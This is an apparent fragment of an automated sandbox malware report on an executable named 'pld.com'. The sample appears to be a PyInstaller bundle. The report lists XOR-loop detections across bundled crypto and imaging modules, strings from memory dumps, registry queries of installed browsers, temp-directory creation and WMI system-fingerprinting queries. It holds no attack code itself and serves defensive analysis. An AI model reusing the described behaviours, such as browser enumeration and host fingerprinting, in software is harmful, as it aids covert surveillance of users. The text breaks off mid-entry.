offset 1371339; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1372241; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1372255; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1416165; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1416737; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1425612; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1426070; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1426382; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1427523; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1428141; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1522532; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1523390; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1523398; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1524269; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1524277; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1525026; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1525103; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1525111; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1525928; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1525938; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1619267; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1619274; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1675396; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1688233; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1688243; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1689870; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1689902; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 2113917; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 2123197; code bytes = 33c1 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 633722; code bytes = 8030 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1391076; code bytes = 8030 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1719699; code bytes = 8030 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 1719768; code bytes = 8030 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 2114544; code bytes = 8030 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 2123824; code bytes = 8030 Found XOR loop in file "_imaging.cp312-win_amd64.pyd" at offset 2317560; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 884656; code bytes = 30d0 Found XOR loop in file "win32ui.pyd" at offset 157161; code bytes = 33c1 Found XOR loop in file "win32ui.pyd" at offset 541105; code bytes = 33c1 Found XOR loop in file "win32ui.pyd" at offset 541243; code bytes = 33c1 Found XOR loop in file "win32ui.pyd" at offset 733680; code bytes = 30040e Found XOR loop in file "win32ui.pyd" at offset 734292; code bytes = 30040e Found XOR loop in file "win32ui.pyd" at offset 565743; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 568863; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 569983; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 571175; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 829836; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 853615; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 856735; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 857855; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 859047; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 889272; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 921196; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 926944; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 935804; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 935812; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 949252; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 975544; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 975548; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 975680; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 975684; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 975816; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 975952; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 975957; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 976225; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 976230; code bytes = 8030 Found XOR loop in file "win32ui.pyd" at offset 976498; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 100676; code bytes = 30d0 Found XOR loop in file "_ec_ws.pyd" at offset 186154; code bytes = 30d0 Found XOR loop in file "_ec_ws.pyd" at offset 392603; code bytes = 30d0 Found XOR loop in file "_ec_ws.pyd" at offset 626921; code bytes = 30d0 Found XOR loop in file "_ec_ws.pyd" at offset 722841; code bytes = 30d0 Found XOR loop in file "_ec_ws.pyd" at offset 53847; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 54151; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 54469; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 68842; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 75814; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 96124; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 110109; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 380326; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 380672; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 419506; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 478066; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 497212; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 518289; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 538921; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 681128; code bytes = 33c1 Found XOR loop in file "_ec_ws.pyd" at offset 100796; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 140458; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 271864; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 354330; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 365679; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 477403; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 534189; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 631143; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 679498; code bytes = 8030 Found XOR loop in file "_ec_ws.pyd" at offset 725229; code bytes = 8030 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 33395; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 33402; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 180372; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 181230; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 181238; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 182109; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 182117; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 182866; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 182943; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 182951; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 183768; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 183778; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 251556; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 264393; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 264403; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 266030; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 266062; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 318616; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 340701; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 350029; code bytes = 33c1 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 328531; code bytes = 8030 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 328600; code bytes = 8030 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 341328; code bytes = 8030 Found XOR loop in file "_webp.cp312-win_amd64.pyd" at offset 350656; code bytes = 8030 Found XOR loop in file "_imagingcms.cp312-win_amd64.pyd" at offset 187660; code bytes = 33c1 Found XOR loop in file "_imagingcms.cp312-win_amd64.pyd" at offset 205641; code bytes = 8030 Found XOR loop in file "_imagingcms.cp312-win_amd64.pyd" at offset 208465; code bytes = 8030 Found XOR loop in file "_ed448.pyd" at offset 41622; code bytes = 33c1 Found XOR loop in file "_ed448.pyd" at offset 61932; code bytes = 33c1 Found XOR loop in file "_curve448.pyd" at offset 26454; code bytes = 33c1 Found XOR loop in file "_curve448.pyd" at offset 46764; code bytes = 33c1 Found XOR loop in file "_raw_des3.pyd" at offset 8076; code bytes = 33c1 Found XOR loop in file "_raw_des.pyd" at offset 7884; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 1412; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 1415; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 1769; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 1975; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 2587; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 2873; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 3009; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 3538; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 4336; code bytes = 33c1 Found XOR loop in file "_raw_aes.pyd" at offset 16716; code bytes = 33c1 Found XOR loop in file "_modexp.pyd" at offset 7962; code bytes = 33c1 Found XOR loop in file "_modexp.pyd" at offset 14630; code bytes = 33c1 Found XOR loop in file "_modexp.pyd" at offset 19228; code bytes = 33c1 Found XOR loop in file "_modexp.pyd" at offset 28644; code bytes = 8030 Found XOR loop in file "_modexp.pyd" at offset 28652; code bytes = 8030 Found XOR loop in file "_SHA384.pyd" at offset 16412; code bytes = 33c1 Found XOR loop in file "_SHA512.pyd" at offset 16524; code bytes = 33c1 Found XOR loop in file "_imagingmath.cp312-win_amd64.pyd" at offset 12988; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 2069; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 2235; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 2372; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 2572; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 3086; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 3168; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 3801; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 3848; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 4146; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 4226; code bytes = 33c1 Found XOR loop in file "_raw_cast.pyd" at offset 7180; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 9720; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 9749; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 9793; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 9839; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 9887; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 9933; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 9979; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 10028; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 10080; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 10132; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 10188; code bytes = 33c1 Found XOR loop in file "_ed25519.pyd" at offset 14012; code bytes = 33c1 Found XOR loop in file "_SHA224.pyd" at offset 1293; code bytes = 33c1 Found XOR loop in file "_SHA224.pyd" at offset 2068; code bytes = 33c1 Found XOR loop in file "_SHA224.pyd" at offset 2076; code bytes = 33c1 Found XOR loop in file "_SHA224.pyd" at offset 2117; code bytes = 33c1 Found XOR loop in file "_SHA224.pyd" at offset 12252; code bytes = 33c1 Found XOR loop in file "_SHA256.pyd" at offset 1293; code bytes = 33c1 Found XOR loop in file "_SHA256.pyd" at offset 2068; code bytes = 33c1 Found XOR loop in file "_SHA256.pyd" at offset 2076; code bytes = 33c1 Found XOR loop in file "_SHA256.pyd" at offset 2117; code bytes = 33c1 Found XOR loop in file "_SHA256.pyd" at offset 12252; code bytes = 33c1 Found XOR loop in file "_raw_eksblowfish.pyd" at offset 1450; code bytes = 33c1 Found XOR loop in file "_raw_eksblowfish.pyd" at offset 1642; code bytes = 33c1 Found XOR loop in file "_raw_eksblowfish.pyd" at offset 1834; code bytes = 33c1 Found XOR loop in file "_raw_eksblowfish.pyd" at offset 2035; code bytes = 33c1 Found XOR loop in file "_raw_eksblowfish.pyd" at offset 2253; code bytes = 33c1 Found XOR loop in file "_raw_eksblowfish.pyd" at offset 7788; code bytes = 33c1 Found XOR loop in file "_raw_blowfish.pyd" at offset 1450; code bytes = 33c1 Found XOR loop in file "_raw_blowfish.pyd" at offset 1642; code bytes = 33c1 Found XOR loop in file "_raw_blowfish.pyd" at offset 1834; code bytes = 33c1 Found XOR loop in file "_raw_blowfish.pyd" at offset 2035; code bytes = 33c1 Found XOR loop in file "_raw_blowfish.pyd" at offset 2253; code bytes = 33c1 Found XOR loop in file "_raw_blowfish.pyd" at offset 6492; code bytes = 33c1 Found XOR loop in file "_raw_blowfish.pyd" at offset 15748; code bytes = 8030 Found XOR loop in file "_curve25519.pyd" at offset 6713; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 6749; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 6797; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 6845; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 6893; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 6943; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 6989; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 7035; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 7081; code bytes = 33c1 Found XOR loop in file "_curve25519.pyd" at offset 10268; code bytes = 33c1 Found XOR loop in file "_SHA1.pyd" at offset 4884; code bytes = 33c1 Found XOR loop in file "_SHA1.pyd" at offset 5078; code bytes = 33c1 Found XOR loop in file "_SHA1.pyd" at offset 5111; code bytes = 33c1 Found XOR loop in file "_SHA1.pyd" at offset 5321; code bytes = 33c1 Found XOR loop in file "_SHA1.pyd" at offset 5370; code bytes = 33c1 Found XOR loop in file "_SHA1.pyd" at offset 5642; code bytes = 33c1 Found XOR loop in file "_SHA1.pyd" at offset 5668; code bytes = 33c1 Found XOR loop in file "_SHA1.pyd" at offset 9148; code bytes = 33c1 Found XOR loop in file "_raw_ocb.pyd" at offset 8780; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2253; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2514; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2548; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2633; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2659; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2691; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2825; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2855; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2959; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 2988; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 3077; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 6700; code bytes = 33c1 Found XOR loop in file "_MD5.pyd" at offset 11636; code bytes = 80302f:Tb90,file/memory contains long string with (Indicator: "github.com"; File: "PCAP") Found string "https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688" (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found string "https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py#L24-L25" (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#L81-L97" (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/readers.py#L11" (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py#L422" (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py#L312" (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09630000.00000004.mdmp, 00000000-00001384.00000001.186039.09630000.00000004.mdmp, 00000000-00001384.00000002.187961.09630000.00000004.mdmp") Found string "argument types, see https://github.com/python/cpython/issues/86361." (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900." (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp") Found string "See https://github.com/pypa/setuptools/issues/417#issuecomment-392298401" (Indicator: "github.com"; Source: "00000000-00001384.00000000.184119.09C80000.00000004.mdmp, 00000000-00001384.00000001.186039.09C80000.00000004.mdmp, 00000000-00001384.00000002.187961.09C80000.00000004.mdmp")30:T6d3,"pld.com" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES\URLASSOCIATIONS"; Key: ""; Value: "") "pld.com" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES\URLASSOCIATIONS"; Key: "HTTPS"; Value: "") "pld.com" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES"; Key: ""; Value: "") "pld.com" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES"; Key: "HIDDEN"; Value: "") "pld.com" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\CAPABILITIES\URLASSOCIATIONS"; Key: ""; Value: "") "pld.com" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\CAPABILITIES\URLASSOCIATIONS"; Key: "HTTPS"; Value: "") "pld.com" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\CAPABILITIES"; Key: ""; Value: "") "pld.com" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\CAPABILITIES"; Key: "HIDDEN"; Value: "") "pld.com" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES\URLASSOCIATIONS"; Key: ""; Value: "") "pld.com" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES\URLASSOCIATIONS"; Key: "HTTPS"; Value: "") "pld.com" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES"; Key: ""; Value: "") "pld.com" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES"; Key: "HIDDEN"; Value: "")31:Tb17,"pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202 (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\Cryptodome (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\Cryptodome\Cipher (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\Cryptodome\Hash (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\Cryptodome\Math (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\Cryptodome\Protocol (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\Cryptodome\PublicKey (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\Cryptodome\Util (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\PIL (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\Pythonwin (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\encoding (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\http1.0 (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\msgs (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\opt0.4 (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\Africa (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\America (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\America\Argentina (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\America\Indiana (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\America\Kentucky (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\America\North_Dakota (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\Antarctica (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\Arctic (UID: 00000000-00007420) "pld.com" called "CreateDirectoryW" with parameter %TEMP%\_MEI74202\_tcl_data\tzdata\Asia (UID: 00000000-00007420)32:T63f,"SELECT Version,ProductType,BuildType,ServicePackMajorVersion,ServicePackMinorVersion FROM Win32_OperatingSystem" (Source: 00000000-00001384-00002714-1847867345, Indicator: "select version,producttype,buildtype,servicepackmajorversion,servicepackminorversion from win32_operatingsystem") "SELECT Architecture FROM Win32_Processor" (Source: 00000000-00001384-00002714-1847942591, Indicator: "select architecture from win32_processor") "SELECT Manufacturer,Caption FROM Win32_Processor" (Source: 00000000-00001384-00002714-1899304505, Indicator: "select manufacturer,caption from win32_processor") "Insert a simple entry into the list of warnings filters (at the front)." (Source: 00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp, Indicator: "insert a simple entry into the list of warnings filters (at the front)."), "Insert an entry into the list of warnings filters (at the front)." (Source: 00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp, Indicator: "insert an entry into the list of warnings filters (at the front)."), "inserts *copies* into it of the objects found in the original." (Source: 00000000-00001384.00000000.184119.09980000.00000004.mdmp, 00000000-00001384.00000001.186039.09980000.00000004.mdmp, 00000000-00001384.00000002.187961.09980000.00000004.mdmp, Indicator: "inserts *copies* into it of the objects found in the original.")33:T5a85,Found reference to API (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00001384.00000000.184119.09530000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09530000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000002.187961.09530000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000000.184119.ED614000.00000002.mdmp, 00000000-00001384.00000000.184119.ED8E1000.00000002.mdmp, 00000000-00001384.00000000.184119.F2EFB000.00000002.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.CA814000.00000004.mdmp, 00000000-00001384.00000001.186039.DA7A3000.00000002.mdmp, 00000000-00001384.00000001.186039.DAE45000.00000002.mdmp, 00000000-00001384.00000001.186039.DB3D5000.00000002.mdmp, 00000000-00001384.00000001.186039.DB9F8000.00000002.mdmp, 00000000-00001384.00000001.186039.ED533000.00000002.mdmp, 00000000-00001384.00000001.186039.F55F4000.00000002.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.D3CD7000.00000002.mdmp, 00000000-00001384.00000002.187961.D7486000.00000002.mdmp, 00000000-00001384.00000002.187961.E4FCC000.00000002.mdmp, 00000000-00001384.00000002.187961.F172C000.00000002.mdmp, 00000000-00001384.00000002.187961.F3823000.00000002.mdmp") Found reference to API (Indicator: "ConnectNamedPipe"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: "CreateFile"; Source: "00000000-00001384.00000000.184119.09880000.00000004.mdmp, 00000000-00001384.00000001.186039.09880000.00000004.mdmp, 00000000-00001384.00000002.187961.09880000.00000004.mdmp") Found reference to API (Indicator: 